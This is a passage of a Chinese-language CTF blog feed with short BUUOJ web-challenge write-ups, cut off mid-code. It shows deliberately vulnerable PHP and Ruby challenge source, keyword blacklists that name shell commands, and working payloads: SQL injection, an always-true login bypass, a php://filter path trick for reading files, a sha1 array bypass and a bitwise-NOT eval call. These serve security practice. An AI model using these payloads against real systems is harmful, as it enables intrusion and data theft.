    <updated>2023-04-26T15:14:25.712Z</updated>
    
    <content type="html"><![CDATA[<p>黑名单</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">很多黑名单</span><br><span class="line">字母数字都被ban了好像</span><br></pre></td></tr></table></figure><p>文件上传无字母数字</p><p><a href="https://blog.csdn.net/qq_43431158/article/details/108089364">https://blog.csdn.net/qq_43431158/article/details/108089364</a></p><p><a href="https://www.cnblogs.com/Jleixin/p/13289150.html">https://www.cnblogs.com/Jleixin/p/13289150.html</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;黑名单&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;很多黑名单&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;字母数字都被</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>October2019 Twice SQL Injection</title>
    <link href="http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/October2019-Twice-SQL-Injection/"/>
    <id>http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/October2019-Twice-SQL-Injection/</id>
    <published>2023-04-26T13:35:33.000Z</published>
    <updated>2023-04-26T13:37:01.828Z</updated>
    
    <content type="html"><![CDATA[<p>二次注入</p><p>测试是单引号闭合＋一咧显示</p><p>username&#x3D;1’ union select flag from flag#&amp;password&#x3D;1</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;二次注入&lt;/p&gt;
&lt;p&gt;测试是单引号闭合＋一咧显示&lt;/p&gt;
&lt;p&gt;username&amp;#x3D;1’ union select flag from flag#&amp;amp;password&amp;#x3D;1&lt;/p&gt;
</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>[ISITDTU 2019]EasyPHP</title>
    <link href="http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/ISITDTU-2019-EasyPHP/"/>
    <id>http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/ISITDTU-2019-EasyPHP/</id>
    <published>2023-04-25T16:16:19.000Z</published>
    <updated>2023-04-26T11:35:23.808Z</updated>
    
    <content type="html"><![CDATA[<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">highlight_file(__FILE__);</span><br><span class="line"></span><br><span class="line">$_ = @$_GET[&#x27;_&#x27;];</span><br><span class="line">if ( preg_match(&#x27;/[\x00- 0-9\&#x27;&quot;`$&amp;.,|[&#123;_defgops\x7F]+/i&#x27;, $_) )</span><br><span class="line">    die(&#x27;rosé will not do it&#x27;);</span><br><span class="line"></span><br><span class="line">if ( strlen(count_chars(strtolower($_), 0x3)) &gt; 0xd )</span><br><span class="line">    die(&#x27;you are so close, omg&#x27;);</span><br><span class="line"></span><br><span class="line">eval($_);</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>payload:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">(~%8F%97%8F%96%91%99%90)();</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;highlight_file</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>[极客大挑战 2020]Greatphp</title>
    <link href="http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2020-Greatphp/"/>
    <id>http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2020-Greatphp/</id>
    <published>2023-04-25T16:08:23.000Z</published>
    <updated>2023-04-26T11:34:44.857Z</updated>
    
    <content type="html"><![CDATA[<p>反序列化</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"> &lt;?php</span><br><span class="line">error_reporting(0);</span><br><span class="line">class SYCLOVER &#123;</span><br><span class="line">    public $syc;</span><br><span class="line">    public $lover;</span><br><span class="line"></span><br><span class="line">    public function __wakeup()&#123;</span><br><span class="line">        if( ($this-&gt;syc != $this-&gt;lover) &amp;&amp; (md5($this-&gt;syc) === md5($this-&gt;lover)) &amp;&amp; (sha1($this-&gt;syc)=== sha1($this-&gt;lover)) )&#123;</span><br><span class="line">           if(!preg_match(&quot;/\&lt;\?php|\(|\)|\&quot;|\&#x27;/&quot;, $this-&gt;syc, $match))&#123;</span><br><span class="line">               eval($this-&gt;syc);</span><br><span class="line">           &#125; else &#123;</span><br><span class="line">               die(&quot;Try Hard !!&quot;);</span><br><span class="line">           &#125;</span><br><span class="line">           </span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">if (isset($_GET[&#x27;great&#x27;]))&#123;</span><br><span class="line">    unserialize($_GET[&#x27;great&#x27;]);</span><br><span class="line">&#125; else &#123;</span><br><span class="line">    highlight_file(__FILE__);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">?&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;反序列化&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt; &amp;lt;?php&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;e</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>EasyBypass</title>
    <link href="http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/EasyBypass/"/>
    <id>http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/EasyBypass/</id>
    <published>2023-04-25T16:07:07.000Z</published>
    <updated>2023-04-25T16:07:26.412Z</updated>
    
    <content type="html"><![CDATA[<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">highlight_file(__FILE__);</span><br><span class="line"></span><br><span class="line">$comm1 = $_GET[&#x27;comm1&#x27;];</span><br><span class="line">$comm2 = $_GET[&#x27;comm2&#x27;];</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if(preg_match(&quot;/\&#x27;|\`|\\|\*|\n|\t|\xA0|\r|\&#123;|\&#125;|\(|\)|&lt;|\&amp;[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is&quot;, $comm1))</span><br><span class="line">    $comm1 = &quot;&quot;;</span><br><span class="line">if(preg_match(&quot;/\&#x27;|\&quot;|;|,|\`|\*|\\|\n|\t|\r|\xA0|\&#123;|\&#125;|\(|\)|&lt;|\&amp;[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is&quot;, $comm2))</span><br><span class="line">    $comm2 = &quot;&quot;;</span><br><span class="line"></span><br><span class="line">$flag = &quot;#flag in /flag&quot;;</span><br><span class="line"></span><br><span class="line">$comm1 = &#x27;&quot;&#x27; . $comm1 . &#x27;&quot;&#x27;;</span><br><span class="line">$comm2 = &#x27;&quot;&#x27; . $comm2 . &#x27;&quot;&#x27;;</span><br><span class="line"></span><br><span class="line">$cmd = &quot;file $comm1 $comm2&quot;;</span><br><span class="line">system($cmd);</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;sp</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>[SCTF2019]Flag Shop</title>
    <link href="http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/SCTF2019-Flag-Shop/"/>
    <id>http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/SCTF2019-Flag-Shop/</id>
    <published>2023-04-25T15:50:22.000Z</published>
    <updated>2023-04-26T11:35:30.092Z</updated>
    
    <content type="html"><![CDATA[<p>新东西</p><p>ruby注入</p><p>还以为是js</p><p>本来想爆破jwt的，结果有robots.txt，里面提示得到了源码。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">require &#x27;sinatra&#x27;</span><br><span class="line">require &#x27;sinatra/cookies&#x27;</span><br><span class="line">require &#x27;sinatra/json&#x27;</span><br><span class="line">require &#x27;jwt&#x27;</span><br><span class="line">require &#x27;securerandom&#x27;</span><br><span class="line">require &#x27;erb&#x27;</span><br><span class="line"></span><br><span class="line">set :public_folder, File.dirname(__FILE__) + &#x27;/static&#x27;</span><br><span class="line"></span><br><span class="line">FLAGPRICE = 1000000000000000000000000000</span><br><span class="line">ENV[&quot;SECRET&quot;] = SecureRandom.hex(64)</span><br><span class="line"></span><br><span class="line">configure do</span><br><span class="line">  enable :logging</span><br><span class="line">  file = File.new(File.dirname(__FILE__) + &#x27;/../log/http.log&#x27;,&quot;a+&quot;)</span><br><span class="line">  file.sync = true</span><br><span class="line">  use Rack::CommonLogger, file</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">get &quot;/&quot; do</span><br><span class="line">  redirect &#x27;/shop&#x27;, 302</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">get &quot;/filebak&quot; do</span><br><span class="line">  content_type :text</span><br><span class="line">  erb IO.binread __FILE__</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">get &quot;/api/auth&quot; do</span><br><span class="line">  payload = &#123; uid: SecureRandom.uuid , jkl: 20&#125;</span><br><span class="line">  auth = JWT.encode payload,ENV[&quot;SECRET&quot;] , &#x27;HS256&#x27;</span><br><span class="line">  cookies[:auth] = auth</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">get &quot;/api/info&quot; do</span><br><span class="line">  islogin</span><br><span class="line">  auth = JWT.decode cookies[:auth],ENV[&quot;SECRET&quot;] , true, &#123; algorithm: &#x27;HS256&#x27; &#125;</span><br><span class="line">  json(&#123;uid: auth[0][&quot;uid&quot;],jkl: auth[0][&quot;jkl&quot;]&#125;)</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">get &quot;/shop&quot; do</span><br><span class="line">  erb :shop</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">get &quot;/work&quot; do</span><br><span class="line">  islogin</span><br><span class="line">  auth = JWT.decode cookies[:auth],ENV[&quot;SECRET&quot;] , true, &#123; algorithm: &#x27;HS256&#x27; &#125;</span><br><span class="line">  auth = auth[0]</span><br><span class="line">  unless params[:SECRET].nil?</span><br><span class="line">    if ENV[&quot;SECRET&quot;].match(&quot;#&#123;params[:SECRET].match(/[0-9a-z]+/)&#125;&quot;)</span><br><span class="line">      puts ENV[&quot;FLAG&quot;]</span><br><span class="line">    end</span><br><span class="line">  end</span><br><span class="line"></span><br><span class="line">  if params[:do] == &quot;#&#123;params[:name][0,7]&#125; is working&quot; then</span><br><span class="line"></span><br><span class="line">    auth[&quot;jkl&quot;] = auth[&quot;jkl&quot;].to_i + SecureRandom.random_number(10)</span><br><span class="line">    auth = JWT.encode auth,ENV[&quot;SECRET&quot;] , &#x27;HS256&#x27;</span><br><span class="line">    cookies[:auth] = auth</span><br><span class="line">    ERB::new(&quot;&lt;script&gt;alert(&#x27;#&#123;params[:name][0,7]&#125; working successfully!&#x27;)&lt;/script&gt;&quot;).result</span><br><span class="line"></span><br><span class="line">  end</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">post &quot;/shop&quot; do</span><br><span class="line">  islogin</span><br><span class="line">  auth = JWT.decode cookies[:auth],ENV[&quot;SECRET&quot;] , true, &#123; algorithm: &#x27;HS256&#x27; &#125;</span><br><span class="line"></span><br><span class="line">  if auth[0][&quot;jkl&quot;] &lt; FLAGPRICE then</span><br><span class="line"></span><br><span class="line">    json(&#123;title: &quot;error&quot;,message: &quot;no enough jkl&quot;&#125;)</span><br><span class="line">  else</span><br><span class="line"></span><br><span class="line">    auth &lt;&lt; &#123;flag: ENV[&quot;FLAG&quot;]&#125;</span><br><span class="line">    auth = JWT.encode auth,ENV[&quot;SECRET&quot;] , &#x27;HS256&#x27;</span><br><span class="line">    cookies[:auth] = auth</span><br><span class="line">    json(&#123;title: &quot;success&quot;,message: &quot;jkl is good thing&quot;&#125;)</span><br><span class="line">  end</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def islogin</span><br><span class="line">  if cookies[:auth].nil? then</span><br><span class="line">    redirect to(&#x27;/shop&#x27;)</span><br><span class="line">  end</span><br><span class="line">end</span><br></pre></td></tr></table></figure><p>新东西，那之后再来做。</p><p><a href="https://www.anquanke.com/post/id/86867">https://www.anquanke.com/post/id/86867</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;新东西&lt;/p&gt;
&lt;p&gt;ruby注入&lt;/p&gt;
&lt;p&gt;还以为是js&lt;/p&gt;
&lt;p&gt;本来想爆破jwt的，结果有robots.txt，里面提示得到了源码。&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;c</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>[WMCTF2020]Make PHP Great Again</title>
    <link href="http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/WMCTF2020-Make-PHP-Great-Again/"/>
    <id>http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/WMCTF2020-Make-PHP-Great-Again/</id>
    <published>2023-04-25T15:12:53.000Z</published>
    <updated>2023-04-26T12:23:31.456Z</updated>
    
    <content type="html"><![CDATA[<p>require_once绕过，直接找网上的payload</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php</span><br></pre></td></tr></table></figure><p>原理</p><p><a href="https://www.anquanke.com/post/id/213235">https://www.anquanke.com/post/id/213235</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;require_once绕过，直接找网上的payload&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;php://filter/con</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>[极客大挑战 2020]Roamphp1-Welcome</title>
    <link href="http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2020-Roamphp1-Welcome/"/>
    <id>http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2020-Roamphp1-Welcome/</id>
    <published>2023-04-25T15:06:16.000Z</published>
    <updated>2023-04-26T11:34:48.058Z</updated>
    
    <content type="html"><![CDATA[<p>一顿操作没发现什么，抓包，发现不允许get，改一下post就有源码了。</p><p>sha1强等于绕过。用数组绕过即可</p><p>roam1[]&#x3D;1&amp;roam2[]&#x3D;2</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;一顿操作没发现什么，抓包，发现不允许get，改一下post就有源码了。&lt;/p&gt;
&lt;p&gt;sha1强等于绕过。用数组绕过即可&lt;/p&gt;
&lt;p&gt;roam1[]&amp;#x3D;1&amp;amp;roam2[]&amp;#x3D;2&lt;/p&gt;
</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>[MRCTF2020]Ezaudit</title>
    <link href="http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/MRCTF2020-Ezaudit/"/>
    <id>http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/MRCTF2020-Ezaudit/</id>
    <published>2023-04-25T14:31:03.000Z</published>
    <updated>2023-04-26T11:35:27.154Z</updated>
    
    <content type="html"><![CDATA[<p>打开得到一个类似官网之类的网站</p><p>一顿操作无果后，扫一下，发现有<a href="http://www.zip/">www.zip</a></p><p>而里面有index.php，源码得到了，</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">header(&#x27;Content-type:text/html; charset=utf-8&#x27;);</span><br><span class="line">error_reporting(0);</span><br><span class="line">if(isset($_POST[&#x27;login&#x27;]))&#123;</span><br><span class="line">    $username = $_POST[&#x27;username&#x27;];</span><br><span class="line">    $password = $_POST[&#x27;password&#x27;];</span><br><span class="line">    $Private_key = $_POST[&#x27;Private_key&#x27;];</span><br><span class="line">    if (($username == &#x27;&#x27;) || ($password == &#x27;&#x27;) ||($Private_key == &#x27;&#x27;)) &#123;</span><br><span class="line">        // 若为空,视为未填写,提示错误,并3秒后返回登录界面</span><br><span class="line">        header(&#x27;refresh:2; url=login.html&#x27;);</span><br><span class="line">        echo &quot;用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!&quot;;</span><br><span class="line">        exit;</span><br><span class="line">&#125;</span><br><span class="line">    else if($Private_key != &#x27;*************&#x27; )</span><br><span class="line">    &#123;</span><br><span class="line">        header(&#x27;refresh:2; url=login.html&#x27;);</span><br><span class="line">        echo &quot;假密钥，咋会让你登录?crispr会让你在2秒后跳转到登录界面的!&quot;;</span><br><span class="line">        exit;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    else&#123;</span><br><span class="line">        if($Private_key === &#x27;************&#x27;)&#123;</span><br><span class="line">        $getuser = &quot;SELECT flag FROM user WHERE username= &#x27;crispr&#x27; AND password = &#x27;$password&#x27;&quot;.&#x27;;&#x27;; </span><br><span class="line">        $link=mysql_connect(&quot;localhost&quot;,&quot;root&quot;,&quot;root&quot;);</span><br><span class="line">        mysql_select_db(&quot;test&quot;,$link);</span><br><span class="line">        $result = mysql_query($getuser);</span><br><span class="line">        while($row=mysql_fetch_assoc($result))&#123;</span><br><span class="line">            echo &quot;&lt;tr&gt;&lt;td&gt;&quot;.$row[&quot;username&quot;].&quot;&lt;/td&gt;&lt;td&gt;&quot;.$row[&quot;flag&quot;].&quot;&lt;/td&gt;&lt;td&gt;&quot;;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125; </span><br><span class="line">// genarate public_key </span><br><span class="line">function public_key($length = 16) &#123;</span><br><span class="line">    $strings1 = &#x27;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&#x27;;</span><br><span class="line">    $public_key = &#x27;&#x27;;</span><br><span class="line">    for ( $i = 0; $i &lt; $length; $i++ )</span><br><span class="line">    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);</span><br><span class="line">    return $public_key;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  //genarate private_key</span><br><span class="line">  function private_key($length = 12) &#123;</span><br><span class="line">    $strings2 = &#x27;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&#x27;;</span><br><span class="line">    $private_key = &#x27;&#x27;;</span><br><span class="line">    for ( $i = 0; $i &lt; $length; $i++ )</span><br><span class="line">    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);</span><br><span class="line">    return $private_key;</span><br><span class="line">  &#125;</span><br><span class="line">  $Public_key = public_key();</span><br><span class="line">  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr&#x27;s private_key???</span><br></pre></td></tr></table></figure><p>简单分析一下就是，利用mt_rand的随机数漏洞</p><p>搜一下就行了，之前也做过类似的，所以直接做。</p><p>爆出随机数后，利用脚本得出私钥。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">if($Private_key === &#x27;************&#x27;)&#123;</span><br><span class="line">       $getuser = &quot;SELECT flag FROM user WHERE username= &#x27;crispr&#x27; AND password = &#x27;$password&#x27;&quot;.&#x27;;&#x27;; </span><br><span class="line">       $link=mysql_connect(&quot;localhost&quot;,&quot;root&quot;,&quot;root&quot;);</span><br><span class="line">       mysql_select_db(&quot;test&quot;,$link);</span><br><span class="line">       $result = mysql_query($getuser);</span><br><span class="line">       while($row=mysql_fetch_assoc($result))&#123;</span><br><span class="line">           echo &quot;&lt;tr&gt;&lt;td&gt;&quot;.$row[&quot;username&quot;].&quot;&lt;/td&gt;&lt;td&gt;&quot;.$row[&quot;flag&quot;].&quot;&lt;/td&gt;&lt;td&gt;&quot;;</span><br></pre></td></tr></table></figure><p>看这一段，得出了用户名，然后密码不知道，但是我们可以简单审计一下发现，用万能密码绕过。1’ or 1&#x3D;1#</p><p>然后登录即可</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">XuNhoueCDCGc 私钥</span><br><span class="line">注意伪随机数制作与爆破过程得与题目的php版本一致。</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;打开得到一个类似官网之类的网站&lt;/p&gt;
&lt;p&gt;一顿操作无果后，扫一下，发现有&lt;a href=&quot;http://www.zip/&quot;&gt;www.zip&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;而里面有index.php，源码得到了，&lt;/p&gt;
&lt;figure class=&quot;highlight plai</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>[GXYCTF2019]StrongestMind</title>
    <link href="http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/GXYCTF2019-StrongestMind/"/>
    <id>http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/GXYCTF2019-StrongestMind/</id>
    <published>2023-04-23T16:45:44.000Z</published>
    <updated>2023-04-26T11:35:08.668Z</updated>
    
    <content type="html"><![CDATA[<p>python 脚本编写</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">边敲边改</span><br><span class="line">import time</span><br><span class="line">from requests import *</span><br><span class="line">import re</span><br><span class="line">url=&quot;http://5ee91e70-c1b8-4921-84fb-34dda71ee977.node4.buuoj.cn:81/&quot;</span><br><span class="line">s=session()</span><br><span class="line">res = s.get(url=url)</span><br><span class="line">res.encoding = &quot;UTF-8&quot;</span><br><span class="line">for i in range(1001):</span><br><span class="line">    print(res.text)</span><br><span class="line">    match=re.findall(&quot;&lt;br&gt;(.*)&lt;br&gt;&quot;,res.text)</span><br><span class="line">    # print(match)</span><br><span class="line">    # print(match[0])</span><br><span class="line">    rem=re.findall(&quot;&lt;br&gt;[0-9].*&lt;br&gt;&quot;,match[0])</span><br><span class="line">    text=rem[0].replace(&quot;&lt;br&gt;&quot;,&quot;&quot;)</span><br><span class="line"># print(rem[0].replace(&quot;&lt;br&gt;&quot;,&quot;&quot;))</span><br><span class="line"># print(text)</span><br><span class="line"># num=re.findall(&quot;[0-9]*&quot;,text)</span><br><span class="line"># print(num)</span><br><span class="line"># num1=num[0]</span><br><span class="line"># num2=num[4]</span><br><span class="line"># how=re.findall(&quot;\+|\-&quot;,text)</span><br><span class="line"># print(how[0])</span><br><span class="line"># out=int(num1)+int(num2)</span><br><span class="line"># print(out)</span><br><span class="line">    all=eval(text)</span><br><span class="line">    print(eval(text))</span><br><span class="line">    data=&#123;</span><br><span class="line">        &quot;answer&quot;:all</span><br><span class="line">    &#125;</span><br><span class="line">    res=s.post(url=url,data=data)#注意由于成功后也会返回算术式子，所以得要将res更新，才能更新值。否则一直算错</span><br><span class="line">    res.encoding=&quot;UTF-8&quot;</span><br><span class="line">    print(res.text)</span><br><span class="line">    time.sleep(0.3)</span><br><span class="line">    flag=re.findall(&quot;flag&#123;.*&quot;,res.text)</span><br><span class="line">    print(i)</span><br><span class="line">    if flag:</span><br><span class="line">        print(flag)</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;python 脚本编写&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;边敲边改&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>[HFCTF2020]JustEscape</title>
    <link href="http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/HFCTF2020-JustEscape/"/>
    <id>http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/HFCTF2020-JustEscape/</id>
    <published>2023-04-23T16:42:23.000Z</published>
    <updated>2023-04-26T13:09:22.549Z</updated>
    
    <content type="html"><![CDATA[<p>不会js，留个坑</p><p>访问run.php</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"> &lt;?php</span><br><span class="line">if( array_key_exists( &quot;code&quot;, $_GET ) &amp;&amp; $_GET[ &#x27;code&#x27; ] != NULL ) &#123;</span><br><span class="line">    $code = $_GET[&#x27;code&#x27;];</span><br><span class="line">    echo eval(code);</span><br><span class="line">&#125; else &#123;</span><br><span class="line">    highlight_file(__FILE__);</span><br><span class="line">&#125;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>nodejs</p><p>大概就是利用现成的poc，然后由于有关键字，所以利用js的特性进行关键字绕过</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">prototype变成`$&#123;`$&#123;`prototyp`&#125;e`&#125;`</span><br><span class="line">$&#123;`$&#123;`prototyp`&#125;e`&#125;</span><br><span class="line">`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`</span><br></pre></td></tr></table></figure><p><a href="https://z3ratu1.github.io/%5BHFCTF2020%5DJustEscape.html">https://z3ratu1.github.io/%5BHFCTF2020%5DJustEscape.html</a></p><p><a href="https://blog.csdn.net/qq_43478096/article/details/109231567">https://blog.csdn.net/qq_43478096/article/details/109231567</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;不会js，留个坑&lt;/p&gt;
&lt;p&gt;访问run.php&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt; &amp;lt;?php&lt;/span&gt;&lt;br</summary>
      
    
    
    
    
    <category term="坑" scheme="http://van0308.github.io/tags/%E5%9D%91/"/>
    
  </entry>
  
  <entry>
    <title>[BJDCTF]2020EzPHP</title>
    <link href="http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/BJDCTF-2020EzPHP/"/>
    <id>http://van0308.github.io/2023/04/buu_web/%E7%AC%AC%E5%9B%9B%E9%A1%B5/BJDCTF-2020EzPHP/</id>
    <published>2023-04-22T14:51:57.000Z</published>
    <updated>2023-04-26T11:34:51.124Z</updated>
    
    <content type="html"><![CDATA[<p>F12</p><p>base32解码</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1nD3x.php</span><br></pre></td></tr></table></figure><h3 id="源码"><a href="#源码" class="headerlink" title="源码"></a>源码</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">highlight_file(__FILE__);</span><br><span class="line">error_reporting(0); </span><br><span class="line"></span><br><span class="line">$file = &quot;1nD3x.php&quot;;</span><br><span class="line">$shana = $_GET[&#x27;shana&#x27;];</span><br><span class="line">$passwd = $_GET[&#x27;passwd&#x27;];</span><br><span class="line">$arg = &#x27;&#x27;;</span><br><span class="line">$code = &#x27;&#x27;;</span><br><span class="line"></span><br><span class="line">echo &quot;&lt;br /&gt;&lt;font color=red&gt;&lt;B&gt;This is a very simple challenge and if you solve it I will give you a flag. Good Luck!&lt;/B&gt;&lt;br&gt;&lt;/font&gt;&quot;;</span><br><span class="line"></span><br><span class="line">if($_SERVER) &#123; </span><br><span class="line">    if (</span><br><span class="line">        preg_match(&#x27;/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\&quot;|\&#x27;|log/i&#x27;, $_SERVER[&#x27;QUERY_STRING&#x27;])</span><br><span class="line">        )  </span><br><span class="line">        die(&#x27;You seem to want to do something bad?&#x27;); </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">if (!preg_match(&#x27;/http|https/i&#x27;, $_GET[&#x27;file&#x27;])) &#123;</span><br><span class="line">    if (preg_match(&#x27;/^aqua_is_cute$/&#x27;, $_GET[&#x27;debu&#x27;]) 